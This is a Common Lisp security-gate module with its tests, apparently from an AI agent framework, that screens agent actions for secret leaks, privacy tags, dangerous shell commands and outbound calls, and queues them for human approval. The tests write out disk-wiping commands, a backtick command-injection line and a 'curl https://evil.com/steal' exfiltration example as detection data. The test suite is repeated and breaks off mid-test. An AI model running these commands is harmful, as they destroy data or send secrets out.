-  (cdr (assoc tag *tag-categories* :test #'string-equal)))
-
-(defun dispatcher-privacy-severity (tags-list)
-  "Return the highest-severity tag match: :block > :warn > :log, or nil.
-Records trigger counts for matched tags."
-  (when (and tags-list (listp tags-list))
-    (let ((highest nil))
-      (dolist (tag tags-list)
-        (let ((sev (tag-category-severity tag)))
-          (when sev
-            (tag-trigger-record tag))
-          (when (or (eq sev :block)
-                    (and (eq sev :warn) (not (eq highest :block)))
-                    (and (eq sev :log) (null highest)))
-            (setf highest sev))))
-      highest)))
-
-(tag-categories-load)
-
-(defun dispatcher-check-text-for-privacy (text)
-  "Scans TEXT for leaked privacy-tagged content."
-  (when (and text (stringp text))
-    (let ((lower (string-downcase text)))
-      (some (lambda (tag)
-              (search (string-downcase tag) lower))
-            *dispatcher-privacy-tags*))))
-
-(defun org-blocks-extract (content)
-  "Extracts concatenated Lisp code from #+begin_src lisp blocks in an Org string."
-  (when (and content (stringp content))
-    (let ((lines (uiop:split-string content :separator '(#\Newline)))
-          (in-block nil)
-          (code ""))
-      (dolist (line lines)
-        (let ((clean (string-trim '(#\Space #\Tab) line)))
-          (cond
-            ((search "#+begin_src lisp" clean)
-             (setf in-block t))
-            ((search "#+end_src" clean)
-             (setf in-block nil))
-            (in-block
-             (setf code (concatenate 'string code line (string #\Newline)))))))
-      (when (> (length code) 0) code))))
-
-(defun dispatcher-check-lisp-valid (filepath content)
-  "Validates Lisp syntax when writing .lisp files or Org files with lisp blocks.
-Returns the validation result plist or nil if not applicable."
-  (when (and content (stringp content) (> (length content) 0))
-    (let ((to-validate
-           (cond
-             ((uiop:string-suffix-p filepath ".lisp") content)
-             ((uiop:string-suffix-p filepath ".org") (org-blocks-extract content))
-             (t nil))))
-      (when to-validate
-        (multiple-value-bind (valid-p err) (ignore-errors
-                                            (let ((*read-eval* nil))
-                                              (with-input-from-string (s (format nil "(progn ~a)" to-validate))
-                                                (loop for form = (read s nil :eof) until (eq form :eof)))
-                                              (values t nil)))
-          (unless valid-p
-            (list :status :error :reason err)))))))
-
-(defun org-has-defuns-p (content)
-  "Returns T if the Org content contains any #+begin_src lisp blocks with defuns."
-  (when (and content (stringp content))
-    (search "defun " content :test #'char-equal)))
-
-(defun dispatcher-check-repl-verified (action filepath content)
-  "Warns if writing a defun to an Org file without :repl-verified metadata."
-  (let ((repl-verified (getf action :repl-verified)))
-    (when (and filepath
-               (uiop:string-suffix-p filepath ".org")
-               (org-has-defuns-p content)
-               (not repl-verified))
-      (list :type :LOG
-            :payload (list :level :warn
-                           :text (format nil "Lint: Writing defun to ~a without :repl-verified flag. Did you prototype this in the REPL first?" filepath))))))
-
-(defun dispatcher-check-shell-safety (cmd)
-  "Checks a shell command for destructive patterns and injection vectors.
-Returns (:matched <names> :severity <tier>) when dangerous patterns found,
-or nil if safe. Severity is the highest tier among matched patterns:
-:catastrophic > :dangerous > :moderate > :harmless."
-  (when (and cmd (stringp cmd) (> (length cmd) 0))
-    (let ((matches nil)
-          (severity :harmless))
-      (dolist (entry *dispatcher-shell-blocked*)
-        (let ((name (first entry))
-              (regex (second entry))
-              (tier (getf entry :severity)))
-          (when (cl-ppcre:scan regex cmd)
-            (push name matches)
-            (setf severity (dispatcher-severity-max severity (or tier :moderate))))))
-      (when matches
-        (list :matched matches :severity severity)))))
-
-(defvar *dispatcher-severity-order*
-  (list :harmless 0 :moderate 1 :dangerous 2 :catastrophic 3)
-  "Severity tier ordering for comparison. Higher = more severe.")
-
-(defun dispatcher-severity-max (a b)
-  "Returns the higher of two severity tiers."
-  (let ((ra (or (getf *dispatcher-severity-order* a) 0))
-        (rb (or (getf *dispatcher-severity-order* b) 0)))
-    (if (>= rb ra) b a)))
-
-(defun dispatcher-check-network-exfil (cmd)
-  "Detects if CMD attempts to contact an unwhitelisted external host."
-  (when (and cmd (stringp cmd))
-    (multiple-value-bind (match regs)
-        (cl-ppcre:scan-to-strings "(http|https|ftp)://([\\w\\.-]+)" cmd)
-      (declare (ignore match))
-      (when regs
-        (let ((domain (aref regs 1)))
-          (not (some (lambda (safe) (search safe domain))
-                    *dispatcher-network-whitelist*)))))))
-
-(defun dispatcher-check (action context)
-  "Security gate for high-risk actions.
-Eleven checks: 0=REPL-lint (warn-only), 1=lisp-validation, 2=secret-path,
-2b=self-build-core, 3=secret-content, 4=vault-secrets, 5=privacy-tags,
-6=privacy-text, 7=shell-safety, 8=network-exfil, 8b=high-impact-approval."
-  (declare (ignore context))
-  (let* ((read-only-auto-pass
-          (let ((tool-name (proto-get (proto-get action :payload) :tool)))
-            (when (and tool-name (tool-read-only-p tool-name))
-              (return-from dispatcher-check action))))
-         (target (proto-get action :target))
-         (payload (proto-get action :payload))
-         (text (or (proto-get payload :text) (proto-get action :text)))
-         (filepath (or (proto-get payload :filepath)
-                       (when (equal (proto-get payload :tool) "read-file")
-                         (proto-get (proto-get payload :args) :filepath))
-                       (when (equal (proto-get payload :tool) "write-file")
-                         (proto-get (proto-get payload :args) :filepath))))
-         (content (when filepath (proto-get (proto-get payload :args) :content)))
-         (cmd (or (proto-get payload :cmd)
-                  (when (and (eq target :tool) (equal (proto-get payload :tool) "shell"))
-                    (proto-get (proto-get payload :args) :cmd))))
-         (approved (proto-get action :approved))
-         (tags (proto-get payload :tags))
-         (lisp-valid (when (and filepath content (not approved))
-                       (dispatcher-check-lisp-valid filepath content)))
-         (repl-lint (when (and filepath content (not approved))
-                     (dispatcher-check-repl-verified action filepath content))))
-    (cond
-      (approved action)
-
-       ;; Vector 0: REPL verification lint (warn, don't block)
-      (repl-lint
-       (log-message "DISPATCHER: ~a" (proto-get repl-lint :text))
-       action)
-
-       ;; Vector 1: Lisp syntax validation (block bad lisp writes)
-       ((and lisp-valid (eq (getf lisp-valid :status) :error))
-        (log-message "LINT VIOLATION: Blocked write — lisp syntax error in ~a: ~a" filepath (getf lisp-valid :reason))
-        (dispatcher-block-record :lisp-validation)
-        (list :type :LOG
-              :payload (list :level :error
-                             :text (format nil "Lisp syntax error in ~a: ~a. The write was blocked. Fix the parenthesis balance and retry." filepath (getf lisp-valid :reason)))))
-
-       ;; Vector 2: File read to a protected secret path
-       ((and filepath (dispatcher-check-secret-path filepath))
-        (let ((matched (dispatcher-check-secret-path filepath)))
-          (log-message "SECURITY VIOLATION: Blocked read of protected path '~a' (matched: ~a)" filepath matched)
-          (dispatcher-block-record :secret-path)
-          (list :type :LOG
-                :payload (list :level :error
-                               :text (format nil "Action blocked: Attempted read of protected path '~a'" filepath)))))
-
-       ;; Vector 2b: Self-build safety — core file writes require HITL approval
-       ((and filepath content
-             (string-equal (uiop:getenv "SELF_BUILD_MODE") "true")
-             (dispatcher-check-core-path filepath))
-        (log-message "SELF-BUILD: Core file write to '~a' requires approval" filepath)
-        (dispatcher-block-record :self-build-core)
-        (list :type :EVENT :level :approval-required
-              :payload (list :sensor :approval-required :action action
-                             :message (format nil "Core file write blocked: '~a' requires HITL approval via Flight Plan." filepath))))
-
-       ;; Vector 3: Content contains secret patterns
-       ((and text (dispatcher-exposure-scan text))
-        (let ((matched (dispatcher-exposure-scan text)))
-          (log-message "SECURITY VIOLATION: Content contains secret patterns: ~a" matched)
-          (dispatcher-block-record :secret-content)
-          (list :type :LOG
-                :payload (list :level :error
-                               :text "Action blocked: Content contains potential secret exposure."))))
-
-       ;; Vector 4: Content contains vault secrets
-       ((and text (dispatcher-vault-scan text))
-        (let ((secret-name (dispatcher-vault-scan text)))
-          (log-message "SECURITY VIOLATION: Blocked potential leak of secret '~a'" secret-name)
-          (dispatcher-block-record :vault-secrets)
-          (list :type :LOG
-                :payload (list :level :error
-                               :text (format nil "Action blocked: Potential exposure of '~a'" secret-name)))))
-
-       ;; Vector 5: Privacy-tagged content (severity tiers)
-       ((and tags (fboundp 'dispatcher-privacy-severity))
-        (let ((severity (dispatcher-privacy-severity tags)))
-          (cond
-             ((eq severity :block)
-              (log-message "PRIVACY VIOLATION: Blocked by @tag — ~a" tags)
-              (dispatcher-block-record :privacy-tags)
-              (list :type :LOG
-                    :payload (list :level :error
-                                   :text (format nil "Action blocked: Content tagged with privacy filter (~a)." tags))))
-            ((eq severity :warn)
-             (log-message "PRIVACY WARNING: @tag ~a (allowed with warning)" tags)
-             action)
-            ((eq severity :log)
-             (log-message "PRIVACY: @tag ~a (logged)" tags)
-             action))))
-
-       ;; Vector 6: Text leaks privacy tag names
-       ((and text (dispatcher-check-text-for-privacy text))
-        (log-message "PRIVACY WARNING: Text may contain leaked private content")
-        (dispatcher-block-record :privacy-text)
-        (list :type :LOG
-              :payload (list :level :warn
-                             :text "Action blocked: Text may reference private content.")))
-
-        ;; Vector 7: Shell destructive/injection patterns
-       ((and cmd (dispatcher-check-shell-safety cmd))
-        (let ((matched (dispatcher-check-shell-safety cmd)))
-          (log-message "SHELL VIOLATION: Destructive or injection pattern in command: ~a" matched)
-          (dispatcher-block-record :shell-safety)
-          (list :type :LOG
-                :payload (list :level :error
-                               :text (format nil "Shell command blocked: contains unsafe pattern ~a" matched)))))
-
-       ;; Vector 8: Network exfiltration
-       ((and (or (eq target :shell)
-                 (and (eq target :tool) (equal (proto-get payload :tool) "shell")))
-             (dispatcher-check-network-exfil cmd))
-         (log-message "SECURITY WARNING: External network call detected. Queuing for approval.")
-         (dispatcher-block-record :network-exfil)
-         (list :type :EVENT :level :approval-required
-               :payload (list :sensor :approval-required :action action)))
-
-       ;; Vector 8b: High-impact action approval
-       ((or (member target '(:shell))
-            (and (eq target :tool) (member (proto-get payload :tool) '("shell" "repair-file") :test #'string=))
-            (and (eq target :emacs) (eq (proto-get payload :action) :eval))
-            (and (eq target :system) (eq (proto-get payload :action) :eval)))
-        (log-message "SECURITY: High-impact action requires approval: ~a" (or (proto-get payload :tool) target))
-        (dispatcher-block-record :high-impact-approval)
-        (list :type :EVENT :payload (list :sensor :approval-required :action action)))
-      (t action))))
-
-(defun dispatcher-approvals-process ()
-  "Scans for APPROVED flight plans and re-injects them."
-  (let ((approved-nodes (memory-objects-by-attribute :TODO "APPROVED"))
-        (found-any nil))
-    (dolist (node approved-nodes)
-      (let* ((attrs (memory-object-attributes node))
-             (tags (getf attrs :TAGS))
-             (action-str (getf attrs :ACTION)))
-        (when (and (member "FLIGHT_PLAN" tags :test #'string-equal) action-str)
-          (log-message "DISPATCHER: Found approved flight plan '~a'. Re-injecting..." (memory-object-id node))
-          (let ((action (ignore-errors (let ((*read-eval* nil)) (read-from-string action-str)))))
-            (when action
-              (setf (getf action :approved) t)
-              (stimulus-inject (list :type :EVENT
-                                     :payload (list :sensor :approval-required
-                                                    :action action
-                                                    :approved t)
-                                     :meta (list :source :system)))
-              (setf (getf (memory-object-attributes node) :TODO) "DONE")
-              (setq found-any t))))))
-    found-any))
-
-(defun dispatcher-flight-plan-create (blocked-action)
-  "Creates a Flight Plan node for manual approval in Emacs."
-  (let ((id (remove #\- (princ-to-string (uuid:make-v4-uuid)))))
-    (log-message "DISPATCHER: Creating flight plan node '~a'..." id)
-    (list :type :REQUEST :target :emacs
-          :payload (list :action :insert-node :id id
-                         :attributes (list :TITLE "Flight Plan: High-Risk Action"
-                                           :TODO "PLAN" :TAGS '("FLIGHT_PLAN")
-                                           :ACTION (format nil "~s" blocked-action))))))
-
-(defvar *hitl-pending* (make-hash-table :test 'equal)
-  "Maps correlation token → blocked-action plist for pending HITL approvals.")
-
-(defun hitl-create (blocked-action)
-  "Saves a blocked action for HITL approval. Returns a plist with
-:token (the correlation ID) and :message (user-facing text)."
-  (let* ((token (format nil "HITL-~a" (subseq (remove #\- (princ-to-string (uuid:make-v4-uuid))) 0 8))))
-    (setf (gethash token *hitl-pending*) blocked-action)
-    (log-message "HITL: Created pending approval ~a" token)
-    (list :token token
-          :message (format nil "HITL: Action requires approval [~a]. Reply /approve ~a to approve." token token))))
-
-(defun hitl-approve (token)
-  "Approves a pending HITL action by token. Re-injects with :approved t.
-Returns T if found and approved, nil if token is invalid."
-  (let ((action (gethash token *hitl-pending*)))
-    (if action
-        (progn
-          (remhash token *hitl-pending*)
-          (setf (getf action :approved) t)
-          (stimulus-inject (list :type :EVENT
-                                  :payload (list :sensor :approval-required
-                                                 :action action
-                                                 :approved t)
-                                  :meta (list :source :system)))
-          (log-message "HITL: Approved ~a — re-injected" token)
-          t)
-        (progn
-          (log-message "HITL: Token ~a not found in pending" token)
-          nil))))
-
-(defun hitl-deny (token)
-  "Denies a pending HITL action by token. Removes it from the pending store.
-Returns T if found, nil if token is invalid."
-  (if (gethash token *hitl-pending*)
-      (progn
-        (remhash token *hitl-pending*)
-        (log-message "HITL: Denied ~a" token)
-        t)
-      (progn
-        (log-message "HITL: Token ~a not found in pending" token)
-        nil)))
-
-(defun hitl-handle-message (text &optional source)
-  "Checks if TEXT is a HITL approval or denial command.
-If it matches, processes the command and returns T.
-Otherwise returns nil (text should be handled as normal input).
-Recognized formats:
-  /approve HITL-abc123
-  /deny HITL-abc123
-  approve HITL-abc123
-  deny HITL-abc123"
-  (let ((text (string-trim '(#\Space) (or text ""))))
-    (when (or (uiop:string-prefix-p (string-downcase "/approve") (string-downcase text))
-              (uiop:string-prefix-p (string-downcase "approve") (string-downcase text)))
-      (let* ((parts (uiop:split-string text :separator '(#\Space #\Tab)))
-             (token (when (> (length parts) 1) (second parts))))
-        (when (and token (hitl-approve token))
-          (log-message "HITL: Approved via ~a — ~a" (or source :unknown) token)
-          (return-from hitl-handle-message t))))
-    (when (or (uiop:string-prefix-p (string-downcase "/deny") (string-downcase text))
-              (uiop:string-prefix-p (string-downcase "deny") (string-downcase text)))
-      (let* ((parts (uiop:split-string text :separator '(#\Space #\Tab)))
-             (token (when (> (length parts) 1) (second parts))))
-        (when (and token (hitl-deny token))
-          (log-message "HITL: Denied via ~a — ~a" (or source :unknown) token)
-          (return-from hitl-handle-message t))))
-    nil))
-
-(defun dispatcher-gate (action context)
-  "Main deterministic gate for the Security Dispatcher skill."
-  (let* ((payload (getf context :payload))
-         (sensor (getf payload :sensor)))
-    (case sensor
-      (:approval-required
-       (dispatcher-flight-plan-create (getf payload :action)))
-      (:heartbeat
-       (dispatcher-approvals-process)
-       (if action (dispatcher-check action context) action))
-      (otherwise
-       (if action (dispatcher-check action context) action)))))
-
-(defskill :passepartout-security-dispatcher
-  :priority 150
-  :trigger (lambda (ctx) (declare (ignore ctx)) t)
-  :deterministic #'dispatcher-gate)
-
-(defvar *dispatcher-block-counts* (make-hash-table :test 'equal)
-  "Per-gate block count: maps gate keyword → integer.")
-
-(defun dispatcher-block-record (gate-name)
-  "Records a block decision for GATE-NAME. Returns the updated count."
-  (let ((count (1+ (gethash gate-name *dispatcher-block-counts* 0))))
-    (setf (gethash gate-name *dispatcher-block-counts*) count)
-    count))
-
-(defun dispatcher-block-counts-summary ()
-  "Returns plist (:total <N> :by-gate ((<gate> . <count>) ...))."
-  (let* ((by-gate
-          (loop for k being the hash-keys of *dispatcher-block-counts*
-                for v = (gethash k *dispatcher-block-counts*)
-                collect (cons k v)))
-         (total (reduce #'+ (mapcar #'cdr by-gate) :initial-value 0))
-         (sorted (sort (copy-list by-gate) #'> :key #'cdr)))
-    (list :total total :by-gate sorted)))
-
-(eval-when (:compile-toplevel :load-toplevel :execute)
-  (ql:quickload :fiveam :silent t))
-
-(defpackage :passepartout-security-dispatcher-tests
-  (:use :cl :fiveam :passepartout)
-  (:export #:dispatcher-suite))
-
-(in-package :passepartout-security-dispatcher-tests)
-
-(def-suite dispatcher-suite :description "Verification of the Security Dispatcher")
-(in-suite dispatcher-suite)
-
-(test test-wildcard-match
-  "Contract 1: wildcard pattern * matches any characters."
-  (is (wildcard-match "*.env" ".env"))
-  (is (wildcard-match "*.env" "prod.env"))
-  (is (wildcard-match "*credential*" "my-credential-file"))
-  (is (wildcard-match "*.key" "id_rsa.key"))
-  (is (not (wildcard-match "*.env" "config.yaml"))))
-
-(test test-check-secret-path
-  "Contract 2: dispatcher-check-secret-path matches protected patterns."
-  (is (dispatcher-check-secret-path ".env"))
-  (is (dispatcher-check-secret-path "id_rsa"))
-  (is (not (dispatcher-check-secret-path "README.org"))))
-
-(test test-self-build-core-protection
-  "Contract v0.4.0: core-* paths are protected; write produces approval-required in SELF_BUILD_MODE."
-  ;; Core paths are recognized
-  (is (passepartout::dispatcher-check-core-path "core-reason.org"))
-  (is (passepartout::dispatcher-check-core-path "core-memory.lisp"))
-  (is (not (passepartout::dispatcher-check-core-path "channel-tui-view.org")))
-  ;; With SELF_BUILD_MODE=true, core writes produce approval-required
-  (let ((action '(:type :REQUEST :target :tool :payload (:tool "write-file" :args (:filepath "core-reason.org" :content "x")))))
-    (setf (uiop:getenv "SELF_BUILD_MODE") "true")
-    (let ((result (dispatcher-check action nil)))
-      (is (eq :approval-required (getf result :level)))
-      (setf (uiop:getenv "SELF_BUILD_MODE") "false"))
-    ;; With SELF_BUILD_MODE=false (default), writes pass through
-    (let ((result (dispatcher-check action nil)))
-      (is (eq :REQUEST (getf result :type))))))
-
-(test test-check-shell-safety
-  "Contract 3: dispatcher-check-shell-safety detects dangerous commands."
-  (is (dispatcher-check-shell-safety "rm -rf /"))
-  (is (dispatcher-check-shell-safety "dd if=/dev/zero of=/dev/sda"))
-  (is (dispatcher-check-shell-safety "curl http://example.com \`uptime\`"))
-  (is (not (dispatcher-check-shell-safety "echo hello world")))
-  (is (not (dispatcher-check-shell-safety "ls -la /tmp"))))
-
-(test test-shell-safety-severity-catastrophic
-  "Contract 3/v0.4.3: destructive commands return :catastrophic severity."
-  (let ((r1 (dispatcher-check-shell-safety "rm -rf /"))
-        (r2 (dispatcher-check-shell-safety "mkfs.ext4 /dev/sda")))
-    (is (eq :catastrophic (getf r1 :severity)))
-    (is (eq :catastrophic (getf r2 :severity)))))
-
-(test test-shell-safety-severity-dangerous
-  "Contract 3/v0.4.3: injection patterns return :dangerous severity."
-  (let ((result (dispatcher-check-shell-safety "curl http://x.com \`uptime\`")))
-    (is (eq :dangerous (getf result :severity)))))
-
-(test test-shell-safety-severity-safe
-  "Contract 3/v0.4.3: harmless commands return nil."
-  (is (null (dispatcher-check-shell-safety "echo hello world")))
-  (is (null (dispatcher-check-shell-safety "ls -la /tmp")))
-  (is (null (dispatcher-check-shell-safety "cat file.txt"))))
-
-(test test-dispatcher-severity-max
-  "dispatcher-severity-max returns the higher tier."
-  (is (eq :catastrophic (passepartout::dispatcher-severity-max :catastrophic :dangerous)))
-  (is (eq :catastrophic (passepartout::dispatcher-severity-max :dangerous :catastrophic)))
-  (is (eq :dangerous (passepartout::dispatcher-severity-max :moderate :dangerous)))
-  (is (eq :moderate (passepartout::dispatcher-severity-max :moderate :harmless))))
-
-(test test-check-privacy-tags
-  "Contract 4: dispatcher-check-privacy-tags detects privacy-tagged content."
-  (is (dispatcher-check-privacy-tags '("@personal" ":project:")))
-  (is (dispatcher-check-privacy-tags '("@personal")))
-  (is (not (dispatcher-check-privacy-tags '(":public:" ":work:")))))
-
-(test test-check-network-exfil
-  "Contract 5: dispatcher-check-network-exfil detects unwhitelisted domains."
-  (is (dispatcher-check-network-exfil "curl https://evil.com/steal"))
-  (is (not (dispatcher-check-network-exfil "curl https://api.openai.com/v1/models")))
-  (is (not (dispatcher-check-network-exfil "echo hello"))))
-
-;; ── v0.7.2 Tag Stack ──
-
-(test test-tag-categories-load
-  "Contract v0.7.2: TAG_CATEGORIES env var loads into *tag-categories*."
-  (setf (uiop:getenv "TAG_CATEGORIES") "@personal:block,@draft:warn,@review:log")
-  (passepartout::tag-categories-load)
-  (let ((cats passepartout::*tag-categories*))
-    (is (>= (length cats) 1))
-    (is (eq :block (passepartout::tag-category-severity "@personal")))
-    (is (eq :warn (passepartout::tag-category-severity "@draft")))
-    (is (eq :log (passepartout::tag-category-severity "@review"))))
-  (ignore-errors (setf (uiop:getenv "TAG_CATEGORIES") nil)))
-
-(test test-tag-category-severity-unknown
-  "Contract v0.7.2: unknown tag returns nil."
-  (is (null (passepartout::tag-category-severity "@nonexistent-xxxx"))))
-
-(test test-privacy-severity-block
-  "v0.7.2: dispatcher-privacy-severity returns :block for block-tagged content."
-  (setf passepartout::*tag-categories* '(("@personal" . :block)))
-  (is (eq :block (passepartout::dispatcher-privacy-severity '("@personal")))))
-
-(test test-privacy-severity-warn
-  "v0.7.2: dispatcher-privacy-severity returns :warn for warn-tagged content."
-  (setf passepartout::*tag-categories* '(("@draft" . :warn)))
-  (is (eq :warn (passepartout::dispatcher-privacy-severity '("@draft")))))
-
-(test test-privacy-severity-nil
-  "v0.7.2: dispatcher-privacy-severity returns nil for untagged content."
-  (setf passepartout::*tag-categories* nil)
-  (is (null (passepartout::dispatcher-privacy-severity '("public")))))
-
-(test test-tag-trigger-record
-  "v0.7.2: tag-trigger-record increments per-tag count."
-  (clrhash passepartout::*tag-trigger-count*)
-  (passepartout::tag-trigger-record "@personal")
-  (passepartout::tag-trigger-record "@personal")
-  (passepartout::tag-trigger-record "@draft")
-  (is (= 2 (gethash "@personal" passepartout::*tag-trigger-count* 0)))
-  (is (= 1 (gethash "@draft" passepartout::*tag-trigger-count* 0)))
-  (clrhash passepartout::*tag-trigger-count*))
-
-(test test-tag-categories-privacy-fallback
-  "v0.7.2: TAG_CATEGORIES falls back to PRIVACY_FILTER_TAGS when not set."
-  (let ((orig-tag (uiop:getenv "TAG_CATEGORIES"))
-        (orig-privacy (uiop:getenv "PRIVACY_FILTER_TAGS"))
-        (saved-tag (uiop:getenv "TAG_CATEGORIES"))
-        (saved-privacy (uiop:getenv "PRIVACY_FILTER_TAGS")))
-    ;; Set PRIVACY_FILTER_TAGS, clear TAG_CATEGORIES
-    (sb-posix:setenv "PRIVACY_FILTER_TAGS" "@personal,@draft" 1)
-    (sb-posix:unsetenv "TAG_CATEGORIES")
-    (passepartout::tag-categories-load)
-    (is (eq :block (passepartout::tag-category-severity "@personal")))
-    (is (eq :block (passepartout::tag-category-severity "@draft")))
-    ;; Restore
-    (when saved-tag (sb-posix:setenv "TAG_CATEGORIES" saved-tag 1))
-    (when saved-privacy (sb-posix:setenv "PRIVACY_FILTER_TAGS" saved-privacy 1))
-    (passepartout::tag-categories-load)))
-
-(test test-safe-tool-read-only-auto-approve
-  "Contract v0.7.2: read-only tools pass dispatcher-check unconditionally."
-  (setf (gethash "test-ro-tool" passepartout::*cognitive-tool-registry*)
-        (passepartout::make-cognitive-tool :name "test-ro-tool"
-                                          :description "Read-only test"
-                                          :parameters nil
-                                          :guard nil
-                                          :body nil
-                                          :read-only-p t))
-  (unwind-protect
-       (let* ((action '(:TYPE :REQUEST :TARGET :tool
-                        :PAYLOAD (:TOOL "test-ro-tool" :ARGS (:FILEPATH "/tmp/test"))))
-              (result (dispatcher-check action nil)))
-         (is (eq :REQUEST (getf result :type)))
-         (is (not (member (getf result :type) '(:LOG :approval-required)))))
-    (remhash "test-ro-tool" passepartout::*cognitive-tool-registry*)))
-
-(test test-safe-tool-write-still-checked
-  "Contract v0.7.2: write tools still go through full dispatcher check."
-  (let ((orig-tool (gethash "write-file" passepartout::*cognitive-tool-registry*)))
-    (setf (gethash "write-file" passepartout::*cognitive-tool-registry*)
-          (passepartout::make-cognitive-tool :name "write-file"
-                                            :description "File writer"
-                                            :parameters nil
-                                            :guard nil
-                                            :body nil
-                                            :read-only-p nil))
-    (unwind-protect
-         (progn
-           (setf (uiop:getenv "SELF_BUILD_MODE") "true")
-           (let* ((action '(:TYPE :REQUEST :TARGET :tool
-                            :PAYLOAD (:TOOL "write-file" :ARGS (:FILEPATH "core-reason.org" :CONTENT "x"))))
-                  (result (dispatcher-check action nil)))
-             (is (eq :approval-required (getf result :level)))
-             (is (search "HITL" (getf (getf result :payload) :message)))))
-      (setf (uiop:getenv "SELF_BUILD_MODE") "false")
-      (if orig-tool
-          (setf (gethash "write-file" passepartout::*cognitive-tool-registry*) orig-tool)
-          (remhash "write-file" passepartout::*cognitive-tool-registry*)))))
-#+end_src* v0.8.0 Tests — Block Counts
-#+begin_src lisp
-(in-package :passepartout-security-dispatcher-tests)
-
-(test test-block-record-increments
-  "Contract 10: dispatcher-block-record increments per-gate count."
-  (clrhash passepartout::*dispatcher-block-counts*)
-  (is (= 1 (passepartout::dispatcher-block-record :shell-safety)))
-  (is (= 2 (passepartout::dispatcher-block-record :shell-safety)))
-  (is (= 2 (gethash :shell-safety passepartout::*dispatcher-block-counts*))))
-
-(test test-block-counts-summary
-  "Contract 11: dispatcher-block-counts-summary returns total and by-gate."
-  (clrhash passepartout::*dispatcher-block-counts*)
-  (passepartout::dispatcher-block-record :shell-safety)
-  (passepartout::dispatcher-block-record :shell-safety)
-  (passepartout::dispatcher-block-record :secret-path)
-  (let ((s (passepartout::dispatcher-block-counts-summary)))
-    (is (= 3 (getf s :total)))
-    (let ((by-gate (getf s :by-gate)))
-      (is (= 2 (cdr (assoc :shell-safety by-gate))))
-      (is (= 1 (cdr (assoc :secret-path by-gate)))))))
-
-(test test-block-counts-empty
-  "Contract 11: dispatcher-block-counts-summary returns zero when no blocks."
-  (clrhash passepartout::*dispatcher-block-counts*)
-  (let ((s (passepartout::dispatcher-block-counts-summary)))
-    (is (= 0 (getf s :total)))
-    (is (null (getf s :by-gate)))))
-
-(eval-when (:compile-toplevel :load-toplevel :execute)
-  (ql:quickload :fiveam :silent t))
-
-(defpackage :passepartout-security-dispatcher-tests
-  (:use :cl :fiveam :passepartout)
-  (:export #:dispatcher-suite))
-
-(in-package :passepartout-security-dispatcher-tests)
-
-(def-suite dispatcher-suite :description "Verification of the Security Dispatcher")
-(in-suite dispatcher-suite)
-
-(test test-wildcard-match
-  "Contract 1: wildcard pattern * matches any characters."
-  (is (wildcard-match "*.env" ".env"))
-  (is (wildcard-match "*.env" "prod.env"))
-  (is (wildcard-match "*credential*" "my-credential-file"))
-  (is (wildcard-match "*.key" "id_rsa.key"))
-  (is (not (wildcard-match "*.env" "config.yaml"))))
-
-(test test-check-secret-path
-  "Contract 2: dispatcher-check-secret-path matches protected patterns."
-  (is (dispatcher-check-secret-path ".env"))
-  (is (dispatcher-check-secret-path "id_rsa"))
-  (is (not (dispatcher-check-secret-path "README.org"))))
-
-(test test-self-build-core-protection
-  "Contract v0.4.0: core-* paths are protected; write produces approval-required in SELF_BUILD_MODE."
-  ;; Core paths are recognized
-  (is (passepartout::dispatcher-check-core-path "core-reason.org"))
-  (is (passepartout::dispatcher-check-core-path "core-memory.lisp"))
-  (is (not (passepartout::dispatcher-check-core-path "channel-tui-view.org")))
-  ;; With SELF_BUILD_MODE=true, core writes produce approval-required
-  (let ((action '(:type :REQUEST :target :tool :payload (:tool "write-file" :args (:filepath "core-reason.org" :content "x")))))
-    (setf (uiop:getenv "SELF_BUILD_MODE") "true")
-    (let ((result (dispatcher-check action nil)))
-      (is (eq :approval-required (getf result :level)))
-      (setf (uiop:getenv "SELF_BUILD_MODE") "false"))
-    ;; With SELF_BUILD_MODE=false (default), writes pass through
-    (let ((result (dispatcher-check action nil)))
-      (is (eq :REQUEST (getf result :type))))))
-
-(test test-check-shell-safety
-  "Contract 3: dispatcher-check-shell-safety detects dangerous commands."
-  (is (dispatcher-check-shell-safety "rm -rf /"))
-  (is (dispatcher-check-shell-safety "dd if=/dev/zero of=/dev/sda"))
-  (is (dispatcher-check-shell-safety "curl http://example.com \`uptime\`"))
-  (is (not (dispatcher-check-shell-safety "echo hello world")))
-  (is (not (dispatcher-check-shell-safety "ls -la /tmp"))))
-
-(test test-shell-safety-severity-catastrophic
-  "Contract 3/v0.4.3: destructive commands return :catastrophic severity."
-  (let ((r1 (dispatcher-check-shell-safety "rm -rf /"))
-        (r2 (dispatcher-check-shell-safety "mkfs.ext4 /dev/sda")))
-    (is (eq :catastrophic (getf r1 :severity)))
-    (is (eq :catastrophic (getf r2 :severity)))))
-
-(test test-shell-safety-severity-dangerous
-  "Contract 3/v0.4.3: injection patterns return :dangerous severity."
-  (let ((result (dispatcher-check-shell-safety "curl http://x.com \`uptime\`")))
-    (is (eq :dangerous (getf result :severity)))))
-
-(test test-shell-safety-severity-safe
-  "Contract 3/v0.4.3: harmless commands return nil."
-  (is (null (dispatcher-check-shell-safety "echo hello world")))
-  (is (null (dispatcher-check-shell-safety "ls -la /tmp")))
-  (is (null (dispatcher-check-shell-safety "cat file.txt"))))
-
-(test test-dispatcher-severity-max
-  "dispatcher-severity-max returns the higher tier."
-  (is (eq :catastrophic (passepartout::dispatcher-severity-max :catastrophic :dangerous)))
-  (is (eq :catastrophic (passepartout::dispatcher-severity-max :dangerous :catastrophic)))
-  (is (eq :dangerous (passepartout::dispatcher-severity-max :moderate :dangerous)))
-  (is (eq :moderate (passepartout::dispatcher-severity-max :moderate :harmless))))
-
-(test test-check-privacy-tags
-  "Contract 4: dispatcher-check-privacy-tags detects privacy-tagged content."
-  (is (dispatcher-check-privacy-tags '("@personal" ":project:")))
-  (is (dispatcher-check-privacy-tags '("@personal")))
-  (is (not (dispatcher-check-privacy-tags '(":public:" ":work:")))))
-
-(test test-check-network-exfil
-  "Contract 5: dispatcher-check-network-exfil detects unwhitelisted domains."
-  (is (dispatcher-check-network-exfil "curl https://evil.com/steal"))
-  (is (not (dispatcher-check-network-exfil "curl https://api.openai.com/v1/models")))
-  (is (not (dispatcher-check-network-exfil "echo hello"))))
-
-;; ── v0.7.2 Tag Stack ──
-
-(test test-tag-categories-load
-  "Contract v0.7.2: TAG_CATEGORIES env var loads into *tag-categories*."
-  (setf (uiop:getenv "TAG_CATEGORIES") "@personal:block,@draft:warn,@review:log")
-  (passepartout::tag-categories-load)
-  (let ((cats passepartout::*tag-categories*))
-    (is (>= (length cats) 1))
-    (is (eq :block (passepartout::tag-category-severity "@personal")))
-    (is (eq :warn (passepartout::tag-category-severity "@draft")))
